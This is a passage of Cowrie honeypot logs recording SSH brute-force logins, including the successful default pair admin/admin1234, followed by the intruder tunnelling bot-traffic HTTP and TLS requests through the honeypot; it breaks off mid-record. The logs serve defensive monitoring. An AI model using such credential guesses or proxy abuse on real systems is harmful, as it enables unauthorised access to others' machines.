{"eventid":"cowrie.login.failed","username":"root","password":"Computer123","message":"login attempt [root/Computer123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:38:16.149298Z","src_ip":"2.99.213.222","session":"dc6dd46d25fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:38:17.250767Z","src_ip":"2.99.213.222","session":"dc6dd46d25fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":37478,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc19f8b210e8","protocol":"telnet","message":"New connection: 107.6.151.170:37478 (159.203.135.109:23) [session: fc19f8b210e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:38:23.308669Z"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":51980,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2a7b9923b75","protocol":"ssh","message":"New connection: 123.27.168.40:51980 (10.17.0.5:22) [session: f2a7b9923b75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:38:31.679777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:38:31.683970Z","src_ip":"123.27.168.40","session":"f2a7b9923b75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:38:31.989810Z","src_ip":"123.27.168.40","session":"f2a7b9923b75","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:38:33.145931Z","src_ip":"123.27.168.40","session":"f2a7b9923b75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":64918,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb0497a1834a","protocol":"ssh","message":"New connection: 123.27.168.40:64918 (10.17.0.5:22) [session: bb0497a1834a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:38:33.602446Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:38:33.607090Z","src_ip":"123.27.168.40","session":"bb0497a1834a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:38:33.638112Z","session":"f2a7b9923b75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:38:33.838243Z","src_ip":"123.27.168.40","session":"bb0497a1834a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:38:33.873341Z","src_ip":"123.27.168.40","session":"f2a7b9923b75","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1188\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=Y3tpL05va2JUOU1nWm9PTg%3D%3DzBs2LwTvbAKUCYVJtFAJHQQI%2F6luHH2lENljXoFrkTkekHkMezfi9rFa2idjHHeJxcSosQMUzIu%2BMK38D7VexIhjzlfpPJU253PtAsOx8dW5FweiUbO2Qx35mVx%2FLFBpA%2FUWJbgcMnOj2MGjX3LZCEquiU%2BluGe3MZ8il6qMRHgZXadclSqYp%2FbfHT711efJiB80bmiUz17QoNHyu9itvYlFXxH936nWhCoeK1UpUzKJILSHiSANqSo14ymSB%2BEJJtKcWbMNmTSZuxKAV1wMakTwbMtHj6dVLDcpBNV3HR6O9evPJkX4kPvRgnSJf0g7fyVpcpLlEkxqRZGP3wBYtY%2F7sOYv9WWw51Zj%2F3B5jvpQstbG6q%2BSGAl8K5cDjGFVTEgLOJ0BRmJA4tJJMU94ZrG41gTai5%2B1SQOlTIlkMYozkfRUWjFEwANDumqn3CwkBkxrGIgD%2BT%2ByeL7GAX8c9U7SuWSGRSiZGTuuiXYbkpNsReEPy5m5BR4Z%2BPnuBVOHMkAwOcDJ4naMbHOchHF1YYa6YYFjFH8svk7pp8gkTWBqdB9VR7StVxnRK6MCktEluYfwB2FAIUnCVNv0%2FM6Tp2c1nhWYReziSYNugKnItgDXO%2BmFLb33LFT%2B6wkfN193v8BbOSDHF1x9JqXPvACWTMtBiCyp3q2JP%2BVxkmsaIj7L%2BG6YyA34k9QaCWuoqimFaI%2BjqsT8WPjGBWihuYAbNOiB0SSNQbfYiT8O%2Fv2p5OCm1zUE6Cue2cYN3y9WX%2Bnav4TszO1EDE7Da7Puas7QFtwu3F%2BeNMIY0iLVO3%2FX7INWuih%2Bxv128Atz%2BWmm%2BPRppPgisVHDYMh6B56ZgtuIIWL98vcybjHO%2BZNDmIfoksYWnYXNlBolnuI5Au8WZm4eLYHnotPtX6lH%2BZfl%2B5vJKHr5gzjlt%2FqgDRxYeCJGgPEoX3pp60Z2mv4F%2FqEUoBWdTKK6Gni7zR9iHF%2Bja8I5FS7VDMUHC3ePwuoNBxTtgiXp9njZD3f8l6XbocWhiYAJ8c18dD3rpp2hb9AmkoaLStQrFufUMYhwWM7iqBWILNSz%2FOGsPhoAB8tx%2B9gK9MsS'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1188\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=Y3tpL05va2JUOU1nWm9PTg%3D%3DzBs2LwTvbAKUCYVJtFAJHQQI%2F6luHH2lENljXoFrkTkekHkMezfi9rFa2idjHHeJxcSosQMUzIu%2BMK38D7VexIhjzlfpPJU253PtAsOx8dW5FweiUbO2Qx35mVx%2FLFBpA%2FUWJbgcMnOj2MGjX3LZCEquiU%2BluGe3MZ8il6qMRHgZXadclSqYp%2FbfHT711efJiB80bmiUz17QoNHyu9itvYlFXxH936nWhCoeK1UpUzKJILSHiSANqSo14ymSB%2BEJJtKcWbMNmTSZuxKAV1wMakTwbMtHj6dVLDcpBNV3HR6O9evPJkX4kPvRgnSJf0g7fyVpcpLlEkxqRZGP3wBYtY%2F7sOYv9WWw51Zj%2F3B5jvpQstbG6q%2BSGAl8K5cDjGFVTEgLOJ0BRmJA4tJJMU94ZrG41gTai5%2B1SQOlTIlkMYozkfRUWjFEwANDumqn3CwkBkxrGIgD%2BT%2ByeL7GAX8c9U7SuWSGRSiZGTuuiXYbkpNsReEPy5m5BR4Z%2BPnuBVOHMkAwOcDJ4naMbHOchHF1YYa6YYFjFH8svk7pp8gkTWBqdB9VR7StVxnRK6MCktEluYfwB2FAIUnCVNv0%2FM6Tp2c1nhWYReziSYNugKnItgDXO%2BmFLb33LFT%2B6wkfN193v8BbOSDHF1x9JqXPvACWTMtBiCyp3q2JP%2BVxkmsaIj7L%2BG6YyA34k9QaCWuoqimFaI%2BjqsT8WPjGBWihuYAbNOiB0SSNQbfYiT8O%2Fv2p5OCm1zUE6Cue2cYN3y9WX%2Bnav4TszO1EDE7Da7Puas7QFtwu3F%2BeNMIY0iLVO3%2FX7INWuih%2Bxv128Atz%2BWmm%2BPRppPgisVHDYMh6B56ZgtuIIWL98vcybjHO%2BZNDmIfoksYWnYXNlBolnuI5Au8WZm4eLYHnotPtX6lH%2BZfl%2B5vJKHr5gzjlt%2FqgDRxYeCJGgPEoX3pp60Z2mv4F%2FqEUoBWdTKK6Gni7zR9iHF%2Bja8I5FS7VDMUHC3ePwuoNBxTtgiXp9njZD3f8l6XbocWhiYAJ8c18dD3rpp2hb9AmkoaLStQrFufUMYhwWM7iqBWILNSz%2FOGsPhoAB8tx%2B9gK9MsS'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:38:33.876207Z","src_ip":"123.27.168.40","session":"f2a7b9923b75","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:38:34.888879Z","src_ip":"123.27.168.40","session":"bb0497a1834a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:38:35.267693Z","session":"bb0497a1834a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:38:35.377694Z","session":"bb0497a1834a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:38:35.498308Z","src_ip":"123.27.168.40","session":"bb0497a1834a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1166\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 11; SM-A325F/DS) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=aWdvPlRIcXF6d148V0gwaA%3D%3DA%2FT3OGaJww890OnXaL0HYcsz0Xxcew%2F%2B8oPyQBy0iwWhDYk%2F4JUxJ5MkrNTSaQS%2ByNabBg3TYpzLFONm824ugh78O1f701qsjK4qpT%2FzCIZb%2BekGSTwckY0pEFsAMnpFEXaPGBGjgckGQB%2BdkZy2waMda%2F8yeiEmSSXGBPfO22CrCIkCNCo3whwU3zE3X7Dr9zqLJkueadPBTAA69KiuUgXPhdkqSRs4tJnoevAr42rI8wvW9n0%2FbGb762m%2BLWvfbv89eABce9qhtoz9irzgXo2wmtZfMi6tlhpc%2B0GaGEObX6OQTbTyDN72zw10F5otLvJZCwVd3rFb%2FQZTPZinuM8Y6ZZtJOKmjm5IvCqXjiBV8DK4nHXJVXNInUZ4MfX%2Bugyz4UBxHPVQsBHSXp%2BjFmoKJub31j29Qod6%2BMYX%2BJz0ablshHPllTj8%2F1jSjVkiQo6D76E33Z2oj7Kb2NNCdGfQFygHnMrNl4%2FxD6cIASDPAweRVbCTVCpA%2FhbakQiiAlR%2Ft2Fud0NqnohzlgSI%2BmuDpWKWBq08CtPrx0AtzSEVbqOGhmhzGKSptXbVGSOm%2FneIoFW4bZmJReNK7SYsTj1yPiBFNDlEoRlmS6VqsHK3OZ4CrB8lIqgsNh2AVDPvniH9lcM6JfOko9scvYYKVqXaIpFuSQZwbc7jqZx0FLNBG1%2B7c9cL3JwTWbblYBddVng69Qeu6E8im5wWpIV4W7kn07EQOUrxZwGFzFJa5KFcdHI%2FqwclFONx%2F%2B7tNfY10dA7Qw3wDAegxehEQRBKDPI962bfd8SMin0ur6Z%2BuGGa3kX4JGk4uj2pOdL%2BmCrfPrIiFw1DE9SpahrrLRnxsdfkM6IBtfVHIN8zQ5co1lzzL7bJ7lr8bNchZht3watUTN9TaeWmmdYZYHwAtMng9BUevNz7EIORrXgpJjZhGhY2zCUJQg%2BlGwYQOY2TmbjDdY%2BufWGOCMY45fI6jHgKjJBubOubNwqfyjipewE9tjmP3uoey03x6RuG9Ch6F5y34ldarDeBCmlmgY0zbDtuYw7Qo%2Bkk6JOGe9RJ2%2BfMSoU%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1166\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 11; SM-A325F/DS) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=aWdvPlRIcXF6d148V0gwaA%3D%3DA%2FT3OGaJww890OnXaL0HYcsz0Xxcew%2F%2B8oPyQBy0iwWhDYk%2F4JUxJ5MkrNTSaQS%2ByNabBg3TYpzLFONm824ugh78O1f701qsjK4qpT%2FzCIZb%2BekGSTwckY0pEFsAMnpFEXaPGBGjgckGQB%2BdkZy2waMda%2F8yeiEmSSXGBPfO22CrCIkCNCo3whwU3zE3X7Dr9zqLJkueadPBTAA69KiuUgXPhdkqSRs4tJnoevAr42rI8wvW9n0%2FbGb762m%2BLWvfbv89eABce9qhtoz9irzgXo2wmtZfMi6tlhpc%2B0GaGEObX6OQTbTyDN72zw10F5otLvJZCwVd3rFb%2FQZTPZinuM8Y6ZZtJOKmjm5IvCqXjiBV8DK4nHXJVXNInUZ4MfX%2Bugyz4UBxHPVQsBHSXp%2BjFmoKJub31j29Qod6%2BMYX%2BJz0ablshHPllTj8%2F1jSjVkiQo6D76E33Z2oj7Kb2NNCdGfQFygHnMrNl4%2FxD6cIASDPAweRVbCTVCpA%2FhbakQiiAlR%2Ft2Fud0NqnohzlgSI%2BmuDpWKWBq08CtPrx0AtzSEVbqOGhmhzGKSptXbVGSOm%2FneIoFW4bZmJReNK7SYsTj1yPiBFNDlEoRlmS6VqsHK3OZ4CrB8lIqgsNh2AVDPvniH9lcM6JfOko9scvYYKVqXaIpFuSQZwbc7jqZx0FLNBG1%2B7c9cL3JwTWbblYBddVng69Qeu6E8im5wWpIV4W7kn07EQOUrxZwGFzFJa5KFcdHI%2FqwclFONx%2F%2B7tNfY10dA7Qw3wDAegxehEQRBKDPI962bfd8SMin0ur6Z%2BuGGa3kX4JGk4uj2pOdL%2BmCrfPrIiFw1DE9SpahrrLRnxsdfkM6IBtfVHIN8zQ5co1lzzL7bJ7lr8bNchZht3watUTN9TaeWmmdYZYHwAtMng9BUevNz7EIORrXgpJjZhGhY2zCUJQg%2BlGwYQOY2TmbjDdY%2BufWGOCMY45fI6jHgKjJBubOubNwqfyjipewE9tjmP3uoey03x6RuG9Ch6F5y34ldarDeBCmlmgY0zbDtuYw7Qo%2Bkk6JOGe9RJ2%2BfMSoU%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:38:35.501634Z","src_ip":"123.27.168.40","session":"bb0497a1834a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:38:35.724550Z","src_ip":"123.27.168.40","session":"bb0497a1834a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd2\\xa6\\x83Y\\x9b\\x0f\\x8a\\x8e$i@p\\xf2'\\xd7\\xed\\xa5\\xeah7\\xc5b\\x83\\xc3\\x08`\\xdf[\\xc8\\x01\\xd0\\xf1 A\\xb7\\x06\\xf4m\\xce\\x1a\\xc3=\\xb5,)ns/(z\\x16a\\xb2\\x85\\xa7J\\x08\\x11\\xfb\\xf4\\xb6\\xfe\\xef\\xf4\\xf0\\x00 \\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb7\\xbf\\x00\\xe1d\\xbd\\xb3R\\xda\\xf3\\xfc6!n:\\\\\\xdc=\\x8a\\xb6S#Z\\xa0\\r\\xac\\xc7b\\x1e\\x8e\\xc0 \\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd2\\xa6\\x83Y\\x9b\\x0f\\x8a\\x8e$i@p\\xf2'\\xd7\\xed\\xa5\\xeah7\\xc5b\\x83\\xc3\\x08`\\xdf[\\xc8\\x01\\xd0\\xf1 A\\xb7\\x06\\xf4m\\xce\\x1a\\xc3=\\xb5,)ns/(z\\x16a\\xb2\\x85\\xa7J\\x08\\x11\\xfb\\xf4\\xb6\\xfe\\xef\\xf4\\xf0\\x00 \\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb7\\xbf\\x00\\xe1d\\xbd\\xb3R\\xda\\xf3\\xfc6!n:\\\\\\xdc=\\x8a\\xb6S#Z\\xa0\\r\\xac\\xc7b\\x1e\\x8e\\xc0 \\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"